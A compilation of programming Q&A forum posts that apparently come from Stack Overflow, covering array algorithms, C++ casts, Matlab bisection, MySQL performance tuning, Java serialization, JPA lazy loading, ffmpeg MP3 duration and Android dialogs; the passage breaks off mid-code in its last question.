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• Algorithm to determine indices i..j of array A containing all the elements of another array B

  - by Skylark

  I came across this question on an interview questions thread. Here is the question: Given two integer arrays A [1..n] and B[1..m], find the smallest window in A that contains all elements of B. In other words, find a pair < i , j such that A[i..j] contains B[1..m]. If A doesn't contain all the elements of B, then i,j can be returned as -1. The integers in A need not be in the same order as they are in B. If there are more than one smallest window (different, but have the same size), then its enough to return one of them. Example: A[1,2,5,11,2,6,8,24,101,17,8] and B[5,2,11,8,17]. The algorithm should return i = 2 (index of 5 in A) and j = 9 (index of 17 in A). Now I can think of two variations. Let's suppose that B has duplicates. This variation doesn't consider the number of times each element occurs in B. It just checks for all the unique elements that occur in B and finds the smallest corresponding window in A that satisfies the above problem. For example, if A[1,2,4,5,7] and B[2,2,5], this variation doesn't bother about there being two 2's in B and just checks A for the unique integers in B namely 2 and 5 and hence returns i=1, j=3. This variation accounts for duplicates in B. If there are two 2's in B, then it expects to see at least two 2's in A as well. If not, it returns -1,-1. When you answer, please do let me know which variation you are answering. Pseudocode should do. Please mention space and time complexity if it is tricky to calculate it. Mention if your solution assumes array indices to start at 1 or 0 too. Thanks in advance.

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• How to implement a grapher in C#

  - by iansinke

  So I'm writing a graphing calculator. So far I have a semi-functional grapher, however, I'm having a hard time getting a good balance between accurate graphs and smooth looking curves. The current implementation (semi-pseudo-code) looks something like this: for (float i = GraphXMin; i <= GraphXMax; i++) { PointF P = new PointF(i, EvaluateFunction(Function, i) ListOfPoints.Add(P) } Graphics.DrawCurve(ListOfPoints) The problem with this is since it only adds a point at every integer value, graphs end up distorted when their turning points don't fall on integers (e.g. sin(x)^2). I tried incrementing i by something smaller (like 0.1), which works, but the graph looks very rough. I am using C# and GDI+. I have SmoothingMethod set to AntiAlias, so that's not the problem, as you can see from the first graph. Is there some sort of issue with drawing curves with a lot of points? Should the points perhaps be positioned exactly on pixels? I'm sure some of you have worked on something very similar before, so any suggestions? While you're at it, do you have any suggestions for graphing functions with asymptotes? e.g. 1/x^2 P.S. I'm not looking for a library that does all this - I want to write it myself.

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• When to use reinterpret_cast?

  - by HeretoLearn

  I am little confused with the applicability of reinterpret_cast vs static_cast. From what I have read the general rules are to use static cast when the types can be interpreted at compile time hence the word static. This is the cast the C++ compiler uses internally for implicit casts also. reinterpret_cast are applicable in two scenarios, convert integer types to pointer types and vice versa or to convert one pointer type to another. The general idea I get is this is unportable and should be avoided. Where I am a little confused is one usage which I need, I am calling C++ from C and the C code needs to hold on to the C++ object so basically it holds a void*. What cast should be used to convert between the void * and the Class type? I have seen usage of both static_cast and reinterpret_cast? Though from what I have been reading it appears static is better as the cast can happen at compile time? Though it says to use reinterpret_cast to convert from one pointer type to another?

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• Error in bisection method code in Matlab

  - by Amanda Collins

  I need to write a proper implementation of the bisection method, which means I must address all possible user input errors. Here is my code: function [x_sol, f_at_x_sol, N_iterations] = bisection(f, xn, xp, eps_f, eps_x) % solving f(x)=0 with bisection method % f is the function handle to the desired function, % xn and xp are borders of search, % f(xn)<0 and f(xp)>0 required, % eps_f defines how close f(x) should be to zero, % eps_x defines uncertainty of solution x if(f(xp) < 0) error('xp must be positive') end; if(f(xn)>0) error('xn must be negative') end; if (xn >= xp) error ('xn must be less than xp') end; xg=(xp+xn)/2; %initial guess fg=f(xg); % initial function evaluation N_iterations=1; while ( (abs(fg) > eps_f) & (abs(xg-xp) > eps_x) ) if (fg>0) xp=xg; else xn=xg; end xg=(xp+xn)/2; %update guess fg=f(xg); %update function evaluation N_iterations=N_iterations+1; end x_sol=xg; %solution is ready f_at_x_sol=fg; if (f_at_x_sol > eps_f) error('No convergence') end and here is the error message I receive when I try to test this in Matlab: >> bisection(x.^2, 2, -1, 1e-8, 1e-10) Attempted to access f(-1); index must be a positive integer or logical. Error in bisection (line 9) if(f(xp)<0) I was attempting to see if my error codes worked, but it doesn't look like they do. I get the same error when I try to test it on a function that should work.

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• Concept: Information Into Memory Location.

  - by Richeve S. Bebedor

  I am having troubles conceptualizing an algorithm to be used to transform any information or data into a specific appropriate and reasonable memory location in any data structure that I will be devising. To give you an idea, I have a JPanel object instance and I created another Container type object instance of any subtype (note this is in Java because I love this language), then I collected those instances into a data structure not specifically just for those instances but also applicable to any type of object. Now my procedure for fetching those data again is to extract the object specific features similar in category to all object in that data structure and transform it into a integer data memory location (specifically as much as possible) or any type of data that will pertain to this transformation. And I can already access that memory location without further sorting or applications of O(n) time complex algorithms (which I think preferable but I wanted to do my own way XD). The data structure is of any type either binary tree, linked list, arrays or sets (and the like XD). What is important is I don't need to have successive comparing and analysis of data just to locate information in big structures. To give you a technical idea, I have to an array DS that contains JLabel object instance with a specific name "HelloWorld". But array DS contains other types of object (in multitude). Now this JLabel object has a location in the array at index [124324] (which is if you do any type of searching algorithm just to arrive at that location is conceivably slow because added to it the data structure used was an array *note please disregard the efficiency of the data structure to be used I just want to explain to you my concept XD). Now I want to equate "HelloWorld" to 124324 by using a conceptually made function applicable to all data types. So that I can do a direct search by doing this DS[extractLocation("HelloWorld")] just to get that JLabel instance. I know this may sound crazy but I want to test my concept of non-sorting feature extracting search algorithm for any data structure wherein my main problem is how to transform information to be stored into memory location of where it was stored.

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• Array's index and argc signedness

  - by tusbar

  Hello, The C standard (5.1.2.2.1 Program startup) says: The function called at program startup is named main. [...] It shall be de?ned with a return type of int and with no parameters: int main(void) { /* ... */ } or with two parameters [...] : int main(int argc, char *argv[]) { /* ... */ } And later says: The value of argc shall be nonnegative. Why shouldn't argc be defined as an unsigned int, argc supposedly meaning 'argument count'? Should argc be used as an index for argv? So I started wondering if the C standard says something about the type of array's index. Is it signed? 6.5.2.1 Array subscripting: One of the expressions shall have type ‘‘pointer to object type’’, the other expression shall have integer type, and the result has type ‘‘type’’. It doesn't say anything about its signedness (or I didn't find it). It is pretty common to see codes using negatives array indexes (array[-1]) but isn't it undefined behavior? Should array's indexes be unsigned?

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• Parsing large txt files in ruby taking a lot of time?

  - by hershey92

  below is the code to download a txt file from internet approx 9000 lines and populate the database, I have tried a lot but it takes a lot of time more than 7 minutes. I am using win 7 64 bit and ruby 1.9.3. Is there a way to do it faster ?? require 'open-uri' require 'dbi' dbh = DBI.connect("DBI:Mysql:mfmodel:localhost","root","") #file = open('http://www.amfiindia.com/spages/NAV0.txt') file = File.open('test.txt','r') lines = file.lines 2.times { lines.next } curSubType = '' curType = '' curCompName = '' lines.each do |line| line.strip! if line[-1] == ')' curType,curSubType = line.split('(') curSubType.chop! elsif line[-4..-1] == 'Fund' curCompName = line.split(" Mutual Fund")[0] elsif line == '' next else sCode,isin_div,isin_re,sName,nav,rePrice,salePrice,date = line.split(';') sCode = Integer(sCode) sth = dbh.prepare "call mfmodel.populate(?,?,?,?,?,?,?)" sth.execute curCompName,curSubType,curType,sCode,isin_div,isin_re,sName end end dbh.do "commit" dbh.disconnect file.close 106799;-;-;HDFC ARBITRAGE FUND RETAIL PLAN DIVIDEND OPTION;10.352;10.3;10.352;29-Jun-2012 This is the format of data to be inserted in the table. Now there are 8000 such lines and how can I do an insert by combining all that and call the procedure just once. Also, does mysql support arrays and iteration to do such a thing inside the routine. Please give your suggestions.Thanks.

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• Filling a region draws it off canvas

  - by Xanyx

  Hi Using the following code in Delphi 2007: procedure TfrmTest.PaintBox1Paint(Sender: TObject); const Rect_Size = 10; begin PaintBox1.Canvas.Brush.Color := clYellow; PaintBox1.Canvas.FillRect(Rect(0, 0, PaintBox1.width, PaintBox1.height)); PaintBox1.Canvas.Brush.Color := clRed; DrawARect(PaintBox1.Canvas, 0, 0, Rect_Size, Rect_Size); end; procedure TfrmTest.DrawARect(ACanvas: TCanvas; iLeft, iTop, iWidth, iHeight: Integer); var rgnMain: HRGN; begin rgnMain := CreateRectRgn(iLeft, iTop, iLeft + iWidth, iTop + iHeight); try SelectClipRgn(ACanvas.handle, rgnMain); ACanvas.FillRect(ACanvas.ClipRect); SelectClipRgn(ACanvas.handle, 0); finally DeleteObject(rgnMain); end; end; I get this: (Yellow area shows boundaries of PaintBox1). HMMM, NOT ALLOWED TO POST IMAGE Please go to: http://www.freeimagehosting.net/uploads/62cf687d29.jpg (Linked image shows a form with a yellow box [PaintBox1] in the center. However my red rectange [rgnMain] has been drawn at pos 0,0 on the form) My expectation was that the red rectangle would be at the top left of the PaintBox1 canvas, not the form's canvas. Why is it not? Can regions only be used with controls that have a Windows handle? Thanks

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• Speed/expensive of SQLite query vs. List.contains() for "in-set" icon on list rows

  - by kpdvx

  An application I'm developing requires that the app main a local list of things, let's say books, in a local "library." Users can access their local library of books and search for books using a remote web service. The app will be aware of other users of the app through this web service, and users can browse other users' lists of books in their library. Each book is identified by a unique bookId (represented as an int). When viewing books returned through a search result or when viewing another user's book library, the individual list row cells need to visually represent if the book is in the user's local library or not. A user can have at most 5,000 books in the library, stored in SQLite on the device (and synchronized with the remote web service). My question is, to determine if the book shown in the list row is in the user's library, would it be better to directly ask SQLite (via SELECT COUNT(*)...) or to maintain, in-memory, a List or int[] array of some sort containing the unique bookIds. So, on each row display do I query SQLite or check if the List or int[] array contains the unique bookId? Because the user can have at most 5,000 books, each bookId occupies 4 bytes so at most this would use ~ 20kB. In thinking about this, and in typing this out, it seems obvious to me that it would be far better for performance if I maintained a list or int[] array of in-library bookIds vs. querying SQLite (the only caveat to maintaining an int[] array is that if books are added or removed I'll need to grow or shrink the array by hand, so with this option I'll most likely use an ArrayList or Vector, though I'm not sure of the additional memory overhead of using Integer objects as opposed to primitives). Opinions, thoughts, suggestions?

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• Is there a way to receive data as unsigned char over UDP on Qt?

  - by user269037

  I need to send floating point numbers using a UDP connection to a Qt application. Now in Qt the only function available is qint64 readDatagram ( char * data, qint64 maxSize, QHostAddress * address = 0, quint16 * port = 0 ) which accepts data in the form of signed character buffer. I can convert my float into a string and send it but it will obviously not be very efficient converting a 4 byte float into a much longer sized character buffer. I got hold of these 2 functions to convert a 4 byte float into an unsinged 32 bit integer to transfer over network which works fine for a simple C++ UDP program but for Qt I need to receive the data as unsigned char. Is it possible to avoid converting the floatinf point data into a string and then sending it? uint32_t htonf(float f) { uint32_t p; uint32_t sign; if (f < 0) { sign = 1; f = -f; } else { sign = 0; } p = ((((uint32_t)f)&0x7fff)<<16) | (sign<<31); // Whole part and sign. p |= (uint32_t)(((f - (int)f) * 65536.0f))&0xffff; // Fraction. return p; } float ntohf(uint32_t p) { float f = ((p>>16)&0x7fff); // Whole part. f += (p&0xffff) / 65536.0f; // Fraction. if (((p>>31)&0x1) == 0x1) { f = -f; } // Sign bit set. return f; }

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• Cannot make a static reference to the non-static type MyRunnable

  - by kaiwii ho

  Here is the whole code : import java.util.ArrayList; public class Test{ ThreadLocal<ArrayList<E>>arraylist=new ThreadLocal<ArrayList<E>>(){ @Override protected ArrayList<E> initialValue() { // TODO Auto-generated method stub //return super.initialValue(); ArrayList<E>arraylist=new ArrayList<E>(); for(int i=0;i<=20;i++) arraylist.add((E) new Integer(i)); return arraylist; } }; class MyRunnable implements Runnable{ private Test mytest; public MyRunnable(Test test){ mytest=test; // TODO Auto-generated constructor stub } @Override public void run() { System.out.println("before"+mytest.arraylist.toString()); ArrayList<E>myarraylist=(ArrayList<E>) mytest.arraylist.get(); myarraylist.add((E) new Double(Math.random())); mytest.arraylist.set(myarraylist); System.out.println("after"+mytest.arraylist.toString()); } // TODO Auto-generated method stub } public static void main(String[] args){ Test test=new Test<Double>(); System.out.println(test.arraylist.toString()); new Thread(new MyRunnable(test)).start(); new Thread(new MyRunnable(test)).start(); System.out.println(arraylist.toString()); } } my questions are: 1\ why the new Thread(new MyRunnable(test)).start(); cause the error: Cannot make a static reference to the non-static type MyRunnable ? 2\ what is the static reference refer to right here? thx in advanced

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• How to keep track of call statistics? C++

  - by tf.rz

  I'm working on a project that delivers statistics to the user. I created a class called Dog, And it has several functions. Speak, woof, run, fetch, etc. I want to have a function that spits out how many times each function has been called. I'm also interested in the constructor calls and destructor calls as well. I have a header file which defines all the functions, then a separate .cc file that implements them. My question is, is there a way to keep track of how many times each function is called? I have a function called print that will fetch the "statistics" and then output them to standard output. I was considering using static integers as part of the class itself, declaring several integers to keep track of those things. I know the compiler will create a copy of the integer and initialize it to a minimum value, and then I'll increment the integers in the .cc functions. I also thought about having static integers as a global variable in the .cc. Which way is easier? Or is there a better way to do this? Any help is greatly appreciated!

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• How do I deserialize a namespaced element to an object in .net?

  - by pc1oad1etter

  Given this XML snippet: ... <InSide:setHierarchyUpdates> <automaticUpdateInterval>5</automaticUpdateInterval> <shouldRunAutomaticUpdates>true<shouldRunAutomaticUpdates> </InSide:setHierarchyUpdates> ... I am attempting to serialize this object: Imports System.Xml.Serialization <XmlRoot(ElementName:="setHierarchyUpdates", namespace:="InSide")> _ Public Class HierarchyUpdate <XmlElement(ElementName:="shouldRunAutomaticUpdates")> _ Public shouldRunAutomaticUpdates As Boolean <XmlElement(ElementName:="automaticUpdateInterval")> _ Public automaticUpdateInterval As Integer End Class Like this: Dim hierarchyUpdater As New HierarchyUpdate Dim x As New XmlSerializer(hierarchyUpdater.GetType) Dim objReader As Xml.XmlNodeReader = New Xml.XmlNodeReader(myXMLNode) hierarchyUpdater = x.Deserialize(objReader) However, the object, after deserialization, has values of false and zero. If I switch the objReader to a streamreader and read this in as a file, with none of its parents and no namespaces, it works: <setHierarchyUpdates> <automaticUpdateInterval>5</automaticUpdateInterval> <shouldRunAutomaticUpdates>true<shouldRunAutomaticUpdates> </setHierarchyUpdates> What am I doing wrong? Should I use something other than XMLRoot in the class definition, because, as an XML node, it's not really the root? If so, what? Why are no errors returned when this fails?

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• Spinner setonitemselectedlistener is not called

  - by Gabrielle

  I have a strange problem. I need to do something when an item from spinner is selected. Here is my code : language = (Spinner) findViewById(R.id.current_language_text); ArrayAdapter adapter = new ArrayAdapter(this, com.Orange.R.layout.my_spinner_textview, languages); adapter.setDropDownViewResource(com.Orange.R.layout.multiline_spinner_dropdown_item); language.setAdapter(adapter); language.setSelection(Integer.valueOf(language_id) - 1); language.setOnItemSelectedListener(new OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> parentView, View selectedItemView, int position, long id) { System.out.println("position "+position); Toast.makeText(Settings.this, "Hello Toast",Toast.LENGTH_SHORT).show(); } @Override public void onNothingSelected(AdapterView<?> parentView) { // your code here } }); The problem is that onItemSelectedListener is not called. I put System.out.println in onItemSelected() but I don't get it in LogCat. I tried with Toast, and I get the same, it doesn't appear. Every time I select an item from spinner, in LogCat I get this warning : Window already focused, ignoring focus gain of: com.android.internal.view.IInputMethodClient$Stub$Proxy@2b1dabd0 Any idea why onItemSelectedListener is not called ?

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• Caching vector addition over changing collections

  - by DRMacIver

  I have the following setup: I have a largish number of uuids (currently about 10k but expected to grow unboundedly - they're user IDs) and a function f : id - sparse vector with 32-bit integer values (no need to worry about precision). The function is reasonably expensive (not outrageously so, but probably on the order of a few 100ms for a given id). The dimension of the sparse vectors should be assumed to be infinite, as new dimensions can appear over time, but in practice is unlikely to ever exceed about 20k (and individual results of f are unlikely to have more than a few hundred non-zero values). I want to support the following operations efficiently: add a new ID to the collection invalidate an existing ID retrieve sum f(id) in O(changes since last retrieval) i.e. I want to cache the sum of the vectors in a way that's reasonable to do incrementally. One option would be to support a remove ID operation and treat invalidation as a remove followed by an add. The problem with this is that it requires us to keep track of all the old values of f, which is expensive in space. I potentially need to use many instances of this sort of cached structure, so I would like to avoid that. The likely usage pattern is that new IDs are added at a fairly continuous rate and are frequently invalidated at first. Ids which have been invalidated recently are much more likely to be invalidated again than ones which have remained valid for a long time, but in principle an old Id can still be invalidated. Ideally I don't want to do this in memory (or at least I want a way that lets me save the result to disk efficiently), so an idea which lets me piggyback off an existing DB implementation of some sort would be especially appreciated.

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• C struct written in file, open with Java

  - by DaunnC

  For example in C I have structure: typedef struct { int number; double x1; double y1; double x2; double y2; double x3; double y3; } CTRstruct;` Then I write it to file fwrite(&tr, 1, sizeof(tr), fp); (tr - its CTRstruct var, fp - File pointer); Then I need to read it with Java! I really don't know how to read struct from file... I tried to read it with ObjectInputStream(), last idea is to read with RandomAccessFile() but I also don't know how to... (readLong(), readDouble() also doesn't work, it works ofcource but doesn't read correct data). So, any idea how to read C struct from binary file with Java? If it's interesting, my version to read integer (but it's ugly, & I don't know what to do with double): public class MyDataInputStream extends DataInputStream{ public MyDataInputStream(InputStream AIs) { super(AIs); } public int readInt1() throws IOException{ int ch1 = in.read(); int ch2 = in.read(); int ch3 = in.read(); int ch4 = in.read(); if ((ch1 | ch2 | ch3 | ch4) < 0) throw new EOFException(); return ((ch4 << 24) + (ch3 << 16) + (ch2 << 8) + (ch1 << 0)); } with double we can deal the same way (like with int or with long (8bytes) & then convert to double with native func).

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• How to make MySQL utilize available system resources, or find "the real problem"?

  - by anonymous coward

  This is a MySQL 5.0.26 server, running on SuSE Enterprise 10. This may be a Serverfault question. The web user interface that uses these particular queries (below) is showing sometimes 30+, even up to 120+ seconds at the worst, to generate the pages involved. On development, when the queries are run alone, they take up to 20 seconds on the first run (with no query cache enabled) but anywhere from 2 to 7 seconds after that - I assume because the tables and indexes involved have been placed into ram. From what I can tell, the longest load times are caused by Read/Update Locking. These are MyISAM tables. So it looks like a long update comes in, followed by a couple 7 second queries, and they're just adding up. And I'm fine with that explanation. What I'm not fine with is that MySQL doesn't appear to be utilizing the hardware it's on, and while the bottleneck seems to be the database, I can't understand why. I would say "throw more hardware at it", but we did and it doesn't appear to have changed the situation. Viewing a 'top' during the slowest times never shows much cpu or memory utilization by mysqld, as if the server is having no trouble at all - but then, why are the queries taking so long? How can I make MySQL use the crap out of this hardware, or find out what I'm doing wrong? Extra Details: On the "Memory Health" tab in the MySQL Administrator (for Windows), the Key Buffer is less than 1/8th used - so all the indexes should be in RAM. I can provide a screen shot of any graphs that might help. So desperate to fix this issue. Suffice it to say, there is legacy code "generating" these queries, and they're pretty much stuck the way they are. I have tried every combination of Indexes on the tables involved, but any suggestions are welcome. Here's the current Create Table statement from development (the 'experimental' key I have added, seems to help a little, for the example query only): CREATE TABLE `registration_task` ( `id` varchar(36) NOT NULL default '', `date_entered` datetime NOT NULL default '0000-00-00 00:00:00', `date_modified` datetime NOT NULL default '0000-00-00 00:00:00', `assigned_user_id` varchar(36) default NULL, `modified_user_id` varchar(36) default NULL, `created_by` varchar(36) default NULL, `name` varchar(80) NOT NULL default '', `status` varchar(255) default NULL, `date_due` date default NULL, `time_due` time default NULL, `date_start` date default NULL, `time_start` time default NULL, `parent_id` varchar(36) NOT NULL default '', `priority` varchar(255) NOT NULL default '9', `description` text, `order_number` int(11) default '1', `task_number` int(11) default NULL, `depends_on_id` varchar(36) default NULL, `milestone_flag` varchar(255) default NULL, `estimated_effort` int(11) default NULL, `actual_effort` int(11) default NULL, `utilization` int(11) default '100', `percent_complete` int(11) default '0', `deleted` tinyint(1) NOT NULL default '0', `wf_task_id` varchar(36) default '0', `reg_field` varchar(8) default '', `date_offset` int(11) default '0', `date_source` varchar(10) default '', `date_completed` date default '0000-00-00', `completed_id` varchar(36) default NULL, `original_name` varchar(80) default NULL, PRIMARY KEY (`id`), KEY `idx_reg_task_p` (`deleted`,`parent_id`), KEY `By_Assignee` (`assigned_user_id`,`deleted`), KEY `status_assignee` (`status`,`deleted`), KEY `experimental` (`deleted`,`status`,`assigned_user_id`,`parent_id`,`date_due`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 And one of the ridiculous queries in question: SELECT users.user_name assigned_user_name, registration.FIELD001 parent_name, registration_task.status status, registration_task.date_modified date_modified, registration_task.date_due date_due, registration.FIELD240 assigned_wf, if(LENGTH(registration_task.description)>0,1,0) has_description, registration_task.* FROM registration_task LEFT JOIN users ON registration_task.assigned_user_id=users.id LEFT JOIN registration ON registration_task.parent_id=registration.id where (registration_task.status != 'Completed' AND registration.FIELD001 LIKE '%' AND registration_task.name LIKE '%' AND registration.FIELD060 LIKE 'GN001472%') AND registration_task.deleted=0 ORDER BY date_due asc LIMIT 0,20; my.cnf - '[mysqld]' section. [mysqld] port = 3306 socket = /var/lib/mysql/mysql.sock skip-locking key_buffer = 384M max_allowed_packet = 100M table_cache = 2048 sort_buffer_size = 2M net_buffer_length = 100M read_buffer_size = 2M read_rnd_buffer_size = 160M myisam_sort_buffer_size = 128M query_cache_size = 16M query_cache_limit = 1M EXPLAIN above query, without additional index: +----+-------------+-------------------+--------+--------------------------------+----------------+---------+------------------------------------------------+---------+-----------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+-------------------+--------+--------------------------------+----------------+---------+------------------------------------------------+---------+-----------------------------+ | 1 | SIMPLE | registration_task | ref | idx_reg_task_p,status_assignee | idx_reg_task_p | 1 | const | 1067354 | Using where; Using filesort | | 1 | SIMPLE | registration | eq_ref | PRIMARY,gbl | PRIMARY | 8 | sugarcrm401.registration_task.parent_id | 1 | Using where | | 1 | SIMPLE | users | ref | PRIMARY | PRIMARY | 38 | sugarcrm401.registration_task.assigned_user_id | 1 | | +----+-------------+-------------------+--------+--------------------------------+----------------+---------+------------------------------------------------+---------+-----------------------------+ EXPLAIN above query, with 'experimental' index: +----+-------------+-------------------+--------+-----------------------------------------------------------+------------------+---------+------------------------------------------------+--------+-----------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+-------------------+--------+-----------------------------------------------------------+------------------+---------+------------------------------------------------+--------+-----------------------------+ | 1 | SIMPLE | registration_task | range | idx_reg_task_p,status_assignee,NewIndex1,tcg_experimental | tcg_experimental | 259 | NULL | 103345 | Using where; Using filesort | | 1 | SIMPLE | registration | eq_ref | PRIMARY,gbl | PRIMARY | 8 | sugarcrm401.registration_task.parent_id | 1 | Using where | | 1 | SIMPLE | users | ref | PRIMARY | PRIMARY | 38 | sugarcrm401.registration_task.assigned_user_id | 1 | | +----+-------------+-------------------+--------+-----------------------------------------------------------+------------------+---------+------------------------------------------------+--------+-----------------------------+

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• Finding the digit root of a number

  - by Jessica M.

  Study question is to find the digit root of a already provided number. The teacher provides us with the number 2638. In order to find the digit root you have to add each digit separately 2 + 6 + 3 + 8 = 19. Then you take the result 19 and add those two digits together 1 + 9 = 10. Do the same thing again 1 + 0 = 1. The digit root is 1. My first step was to use the variable total to add up the number 2638 to find the total of 19. Then I tried to use the second while loop to separate the two digits by using the % I have to try and solve the problem by using basic integer arithmetic (+, -, *, /). 1.Is it necessary and or possible to solve the problem using nested while loops? 2.Is my math correct? 3. As I wrote it here it does not run in Eclipse. Am I using the while loops correctly? import acm.program.*; public class Ch4Q7 extends ConsoleProgram { public void run(){ println("This program attempts to find the digit root of your number: "); int n = readInt("Please enter your number: "); int total = 0; int root = total; while (n > 0 ){ total = total + (n %10); n = (n / 10); } while ( total > 0 ){ root = total; total = ((total % 10) + total / 10); } println("your root should be " + root); } }

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• C++ and its type system: How to deal with data with multiple types?

  - by sub

  "Introduction" I'm relatively new to C++. I went through all the basic stuff and managed to build 2-3 simple interpreters for my programming languages. The first thing that gave and still gives me a headache: Implementing the type system of my language in C++ Think of that: Ruby, Python, PHP and Co. have a lot of built-in types which obviously are implemented in C. So what I first tried was to make it possible to give a value in my language three possible types: Int, String and Nil. I came up with this: enum ValueType { Int, String, Nil }; class Value { public: ValueType type; int intVal; string stringVal; }; Yeah, wow, I know. It was extremely slow to pass this class around as the string allocator had to be called all the time. Next time I've tried something similar to this: enum ValueType { Int, String, Nil }; extern string stringTable[255]; class Value { public: ValueType type; int index; }; I would store all strings in stringTable and write their position to index. If the type of Value was Int, I just stored the integer in index, it wouldn't make sense at all using an int index to access another int, or? Anyways, the above gave me a headache too. After some time, accessing the string from the table here, referencing it there and copying it over there grew over my head - I lost control. I had to put the interpreter draft down. Now: Okay, so C and C++ are statically typed. How do the main implementations of the languages mentioned above handle the different types in their programs (fixnums, bignums, nums, strings, arrays, resources,...)? What should I do to get maximum speed with many different available types? How do the solutions compare to my simplified versions above?

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• Adding a column to a model at runtime (without additional tables) in rails

  - by Marek

  I'm trying to give admins of my web application the ability to add some new fields to a model. The model is called Artwork and i would like to add, for instante, a test_column column at runtime. I'm just teting, so i added a simple link to do it, it will be of course parametric. I managed to do it through migrations: def test_migration_create Artwork.add_column :test_column, :integer flash[:notice] = "Added Column test_column to artworks" redirect_to :action => 'index' end def test_migration_delete Artwork.remove_column :test_column flash[:notice] = "Removed column test_column from artworks" redirect_to :action => 'index' end It works, the column gets added/ removed to/from the databse without issues. I'm using active_scaffold at the moment, so i get the test_column field in the form without adding anything. When i submit a create or an update, however, the test_column does not get updated and stay empty. Inspecting the parameters, i can see: Parameters: {"commit"=>"Update", "authenticity_token"=>"37Bo5pT2jeoXtyY1HgkEdIhglhz8iQL0i3XAx7vu9H4=", "id"=>"62", "record"=>{"number"=>"test_artwork", "author"=>"", "title"=>"Opera di Test", "test_column"=>"TEEST", "year"=>"", "description"=>""}} the test_column parameter is passed correctly. So why active record keeps ignoring it? I tried to restart the server too without success. I'm using ruby 1.8.7, rails 2.3.5, and mongrel with an sqlite3 database. Thanks

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• Cannot serialize this List<T> extension

  - by Jaxidian

  I'm trying to push a subset of a collection of data through WCF to be consumed by WCF - think paged data. As such, I want this collection to have one page's worth of data as well as a total number of results. I figured this should be trivial by creating a custom object that extends List. However, everything I do results in my TotalNumber property coming across as 0. All of the data gets serialized/deserialized just fine but that single integer won't come across at all. Here's my first attempt that failed: [Serializable] public class PartialList<T> : List<T> { public PartialList() { } public PartialList(IEnumerable<T> collection) : base(collection) { } [DataMember] public int UnpartialTotalCount { get; set; } And here's my second attempt that failed in the exact same way: [Serializable] public class PartialList<T> : List<T>, ISerializable { public PartialList() { } public PartialList(IEnumerable<T> collection) : base(collection) { } [DataMember] public int UnpartialTotalCount { get; set; } protected PartialList(SerializationInfo info, StreamingContext context) { UnpartialTotalCount = info.GetInt32("UnpartialTotalCount"); } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("UnpartialTotalCount", UnpartialTotalCount); } } What's the deal here??

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• Under what circumstances will an entity be able to lazily load its relationships in JPA

  - by Mowgli

  Assuming a Java EE container is being used with JPA persistence and JTA transaction management where EJB and WAR packages are inside a EAR package. Say an entity with lazy-load relationships has just been returned from a JPQL search, such as the getBoats method below: @Stateless public class BoatFacade implements BoatFacadeRemote, BoatFacadeLocal { @PersistenceContext(unitName = "boats") private EntityManager em; @Override public List<Boat> getBoats(Collection<Integer> boatIDs) { if(boatIDs.isEmpty()) { return Collections.<Boat>emptyList(); } Query query = em.createNamedQuery("getAllBoats"); query.setParameter("boatID", boatIDs); List<Boat> boats = query.getResultList(); return boats; } } The entity: @Entity @NamedQuery( name="getAllBoats", query="Select b from Boat b where b.id in : boatID") public class Boat { @Id private long id; @OneToOne(fetch=FetchType.LAZY) private Gun mainGun; public Gun getMainGun() { return mainGun; } } Where will its lazy-load relationships be loadable (assuming the same stateless request): Same JAR: A method in the same EJB A method in another EJB A method in a POJO in the same EJB JAR Same EAR, but outside EJB JAR: A method in a web tier managed bean. A method in a web tier POJO. Different EAR: A method in a different EAR which receives the entity through RMI. What is it that restricts the scope, for example: the JPA transaction, persistence context or JTA transaction?

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• How to get the real, actual duration of an MP3 file (VBR or CBR) server-side

  - by Cummander Checkov

  I used to calculate the duration of MP3 files server-side using ffmpeg - which seemed to work fine. Today i discovered that some of the calculations were wrong. Somehow, for some reason, ffmpeg will miscalculate the duration and it seems to happen with variable bit rate mp3 files only. When testing this locally, i noticed that ffmpeg printed two extra lines in green. Command used: ffmpeg -i song_9747c077aef8.mp3 ffmpeg says: [mp3 @ 0x102052600] max_analyze_duration 5000000 reached at 5015510 [mp3 @ 0x102052600] Estimating duration from bitrate, this may be inaccurate After a nice, warm google session, i found some posts on this, but no solution was found. I then tried to increase the maximum duration: ffmpeg -analyzeduration 999999999 -i song_9747c077aef8.mp3 After this, ffmpeg returned only the second line: [mp3 @ 0x102052600] Estimating duration from bitrate, this may be inaccurate But in either case, the calculated duration was just plain wrong. Comparing it to VLC i noticed that here the duration is correct. After more research i stumbled over mp3info - which i installed and used. mp3info -p "%S" song_9747c077aef8.mp3 mp3info then returned the CORRECT duration, but only as an integer, which i cannot use as i need a more accurate number here. The reason for this was explained in a comment below, by user blahdiblah - mp3info is simply pulling ID3 info from the file and not actually performing any calculations. I also tried using mplayer to retrieve the duration, but just as ffmpeg, mplayer is returning the wrong value. Now i ran out of options. If somebody knows how to get around this, any hints, tips, guides or corrections are welcome! Thank You!

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• Looking for suggestions on how to reuse AlertDialogs to confirm actions of contextual menus on the items of an ActivityList

  - by Ozone

  I use a ListActivity to display a list of items. The user can long-press an item in the list to display a contextual menu. This menu contains among other things an option to delete the long-pressed item. When the user selects this option, a dialog pops up asking for confirmation of the deletion. Upon confirmation, the item is deleted from the list. I would like to reuse the AlertDialog as much as possible. My attempts at using onPrepareDialog(int, View, Bundle) have been defeated by the fact that the Bundle is not passed to the DialogInterface.OnClickListener. I end up having to recreate a listener on every invocation. I see several ways to solve this: recreate the dialog on every occasion (pros: simple, cons: wasteful) keep the DialogInterface.OnClickListener in a field on the ListActivity and keep the item to be deleted as a field of the listener. (pros: no memory waste, cons: need to manage state). Q: is this safe? have onPrepareDialog update the title, and bind new View.OnClickListeners on the buttons of the AlertDialog. (pros: limit waste, cons: new View.OnClickListener on every invocation). If DialogInterface.OnClickListener accepted a Bundle, I wouldn't have to jump through hoops to keep track of the item being deleted. This is not a blocker, but I would love to see an elegant solution. I would love to hear your suggestions :) Here is the code for option #1, if you want to play with this: public class Example extends ListActivity { private static final int CONFIRM_DELETE_DIALOG = 1; private static final String POSITION_KEY = "position"; private ArrayAdapter<String> mAdapter; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mAdapter = new ArrayAdapter<String>( this, android.R.layout.simple_list_item_1, new String[] { "one", 